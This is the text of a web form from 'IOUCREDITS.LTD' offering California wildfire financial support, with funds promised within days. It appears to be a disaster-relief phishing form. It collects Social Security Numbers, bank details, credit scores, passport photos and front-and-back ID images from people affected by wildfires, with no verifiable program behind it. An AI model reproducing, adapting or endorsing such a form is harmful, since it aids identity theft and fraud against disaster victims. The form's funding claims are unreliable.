California-Support-Form - IOUCREDITS.LTD

Fill the required form correctly to get financial support from the funding program. A background check will be processed and if your information is correct, you shall get an approval within the next 4-5 business days and funds into your account. Kindly check your email frequently after filling this form.

SECTION A: Applicant's Form

Full Name (As shown on valid ID card):*

Full Home Address (As shown on valid ID card):*

Gender*

Email*

Date of Birth:*

Date of Birth:

Marital Status:

Single
Married
Divorced
Others

Phone Number*

Bank Name*

Bank Category

Personal Account
Business Account
Prepaid
Others

Credit Score*

Social Security Number:*

How many years have you lived in the address?

Upload Recent passport Photograph:*

Upload Clear Valid ID Card(front):*

Upload Clear Valid ID Card(back):*

SECTION B: Upload at least 3 images as proof of the damage caused

Do you own the house damaged?*

How were you affected by the wildfire incident?*

Upload damage proof i*

Upload damage proof ii*

Upload damage proof iii*

Upload damage proof iv

Upload damage proof v